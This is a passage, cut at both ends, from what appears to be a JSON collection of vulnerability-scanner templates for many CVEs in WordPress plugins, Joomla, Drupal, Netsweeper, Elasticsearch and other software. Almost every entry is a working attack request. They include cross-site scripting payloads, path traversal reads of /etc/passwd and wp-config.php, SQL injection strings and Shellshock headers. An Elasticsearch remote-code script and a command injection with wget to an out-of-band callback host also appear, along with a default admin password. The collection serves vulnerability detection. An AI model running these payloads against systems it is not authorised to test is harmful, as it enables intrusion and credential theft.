Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/new-year-firework/firework/index.php?text=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000142","info":{"name":"WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10956","info":{"name":"WordPress Mail Masta 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd","{{BaseURL}}/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200,500]}]}]},{"id":"CVE-2016-10960","info":{"name":"WordPress wSecure Lite < 2.4 - Remote Code Execution","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php"],"body":"wsecure_action=update&publish=\";} header(\"{{name}}: CVE-2016-10960\"); class WSecureConfig2 {var $test=\"","matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["{{name}}: CVE-2016-10960"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-7981","info":{"name":"SPIP <3.1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000149","info":{"name":"WordPress Simpel Reserveren <=3.5.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/simpel-reserveren/edit.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000148","info":{"name":"WordPress S3 Video <=0.983 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/s3-video/views/video-management/preview_video.php?media=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<\""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2005-3344","info":{"name":"Horde Groupware Unauthenticated Admin Access","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/horde/admin/user.php","{{BaseURL}}/admin/user.php"],"headers":{"Content-Type":"text/html"},"matchers-condition":"and","matchers":[{"type":"word","words":["Horde :: User Administration"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2005-4385","info":{"name":"Cofax <=2.0RC3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/search.htm?searchstring2=&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>\""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2005-3634","info":{"name":"SAP Web Application Server 6.x/7.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/sap/bc/BSp/sap/menu/fameset.htm?sap--essioncmd=close&sapexiturl=https%3a%2f%2finteract.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2005-2428","info":{"name":"Lotus Domino R5 and R6 WebMail - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/names.nsf/People?OpenView"],"matchers-condition":"and","matchers":[{"type":"regex","name":"domino-username","part":"body","regex":["("]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6668","info":{"name":"nweb2fax <=0.2.7 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd","{{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-5587","info":{"name":"phpPgAdmin <=4.2.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6172","info":{"name":"Joomla! Component RWCards 3.0.11 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-1061","info":{"name":"WordPress Sniplets <=1.2.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6222","info":{"name":"Joomla! ProDesk 1.0/1.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6465","info":{"name":"Parallels H-Sphere 3.0.0 P9/3.1 P1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webshell4/login.php?errcode=0&login=\\%22%20onfocus=alert(document.domain);%20autofocus%20\\%22&err=U"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\\\" onfocus=alert(document.domain); autofocus","Please enter login name & password"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6982","info":{"name":"Devalcms 1.4a - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["sub menu for: "]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2008-7269","info":{"name":"UC Gateway Investment SiteEngine v5.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api.php?action=logout&forward=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:http?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2011-1669","info":{"name":"WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4926","info":{"name":"Adminimize 1.7.22 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/adminimize/adminimize_page.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5179","info":{"name":"Skysa App Bar 1.04 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/skysa-official/skysa.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4618","info":{"name":"Advanced Text Widget < 2.0.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/advanced-text-widget/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/advanced-text-widget/advancedtext.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"\")","contains(body_1, \"Advanced Text Widget\")"],"condition":"and"}]}]},{"id":"CVE-2011-3315","info":{"name":"Cisco CUCM, UCCX, and Unified IP-IVR- Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5107","info":{"name":"Alert Before Your Post <= 0.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5252","info":{"name":"Orchard 'ReturnUrl' Parameter URI - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/orchard/Users/Account/LogOff?ReturnUrl=%2f%2fhttp://interact.sh%3f"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:http?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2011-5265","info":{"name":"Featurific For WordPress 1.6.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5106","info":{"name":"WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4624","info":{"name":"GRAND FlAGallery 1.57 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/flash-album-gallery/facebook.php?i=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4804","info":{"name":"Joomla! Component com_kp - 'Controller' Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-2744","info":{"name":"Chyrp 2.x - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-0049","info":{"name":"Majordomo2 - SMTP/HTTP Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-2780","info":{"name":"Chyrp 2.x - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5181","info":{"name":"ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4336","info":{"name":"Tiki Wiki CMS Groupware 7.0 Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/snarf_ajax.php?url=1&ajax=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-5111","info":{"name":"Fonality trixbox - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-3206","info":{"name":"Seagate BlackArmor NAS - Command Injection","severity":"critical"},"requests":[{"raw":["GET /backupmgt/localJob.php?session=fail;wget http://{{interactsh-url}}; HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /backupmgt/pre_connect_check.php?auth_name=fail;wget http://{{interactsh-url}}; HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"unsafe":true,"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2014-9607","info":{"name":"Netsweeper 4.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/remotereporter/load_logfiles.php?server=018192&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9618","info":{"name":"Netsweeper - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/clientlogin/?srid=&action=showdeny&url="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["name=formtag action=\"../clientlogin/?srid=&action=showdeny&url=\"","placeholder=\"Profile Manager\">","Netsweeper WebAdmin"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9614","info":{"name":"Netsweeper 4.0.5 - Default Weak Account","severity":"critical"},"requests":[{"raw":["POST /webadmin/auth/verification.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/webadmin/start/\n\nlogin=branding&password=branding&Submit=Login\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Location: ../common/","Location: ../start/"],"condition":"or"},{"type":"word","part":"header","words":["Set-Cookie: webadminU="]},{"type":"status","status":[302]}]}]},{"id":"CVE-2014-8682","info":{"name":"Gogs (Go Git Service) - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"ok\":true","\"data\"","\"repolink\":\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9444","info":{"name":"Frontend Uploader <= 0.9.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4561","info":{"name":"Ultimate Weather Plugin <= 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/ultimate-weather-plugin/magpierss/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-3120","info":{"name":"ElasticSearch v1.1.1/1.2 RCE","severity":"medium"},"requests":[{"raw":["POST /_search?pretty HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nAccept-Language: en\nContent-Type: application/x-www-form-urlencoded\n\n{\n    \"size\": 1,\n    \"query\": {\n      \"filtered\": {\n        \"query\": {\n          \"match_all\": {\n          }\n        }\n      }\n    },\n    \"script_fields\": {\n        \"command\": {\n            \"script\": \"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\\\"cat /etc/passwd\\\").getInputStream()).useDelimiter(\\\"\\\\\\\\A\\\").next();\"\n        }\n    }\n}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9615","info":{"name":"Netsweeper 4.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/deny/index.php?dpid=1&dpruleid=1&cat=1&ttl=5018400&groupname="]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-5368","info":{"name":"WordPress Plugin WP Content Source Control - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-3704","info":{"name":"Drupal SQL Injection","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/?q=node&destination=node"],"body":"pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5({{num}})),1)%23]=bob&name[0]=a","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["PDOException","{{md5({{num}})}}"],"condition":"and"},{"type":"status","status":[500]}]}]},{"id":"CVE-2014-4942","info":{"name":"WordPress EasyCart <2.0.6 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wp-easycart/inc/admin/phpinfo.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":[">PHP Version <\\/td>([0-9.]+)"],"part":"body"}]}]},{"id":"CVE-2014-9119","info":{"name":"WordPress DB Backup <=4.5 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2962","info":{"name":"Belkin N150 Router 1.00.08/1.00.09 - Path Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4550","info":{"name":"Shortcode Ninja <= 1.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4535","info":{"name":"Import Legacy Media <= 0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/import-legacy-media/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4558","info":{"name":"WooCommerce Swipe <= 2.7.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/swipehq-payment-gateway-woocommerce/test-plugin.php?api_url=api_url%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E "],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9617","info":{"name":"Netsweeper 3.0.6 - Open Redirection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/remotereporter/load_logfiles.php?server=127.0.0.1&url=https://interact.sh/"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2014-9094","info":{"name":"WordPress DZS-VideoGallery Plugin Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(1)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4592","info":{"name":"WP Planet <= 0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins//wp-planet/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/wp-planet/rss.class/scripts/magpie_debug.php?url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["WP Planet"]},{"type":"word","part":"body_2","words":[""]},{"type":"word","part":"header_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-6271","info":{"name":"ShellShock - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}","{{BaseURL}}/cgi-bin/status","{{BaseURL}}/cgi-bin/stats","{{BaseURL}}/cgi-bin/test","{{BaseURL}}/cgi-bin/status/status.cgi","{{BaseURL}}/test.cgi","{{BaseURL}}/debug.cgi","{{BaseURL}}/cgi-bin/test-cgi"],"stop-at-first-match":true,"headers":{"Shellshock":"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd ","Referer":"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd ","Cookie":"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "},"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4940","info":{"name":"WordPress Plugin Tera Charts - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-5258","info":{"name":"webEdition 6.3.8.0 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webEdition/showTempFile.php?file=../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9608","info":{"name":"Netsweeper 4.0.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/policy/group_table_ajax.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["webadminU=","webadmin="],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2908","info":{"name":"Siemens SIMATIC S7-1200 CPU - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&Send=Filter"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-10037","info":{"name":"DomPHP 0.83 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/photoalbum/index.php?urlancien=&url=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4513","info":{"name":"ActiveHelper LiveHelp Server 3.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4210","info":{"name":"Oracle Weblogic - SSRF in 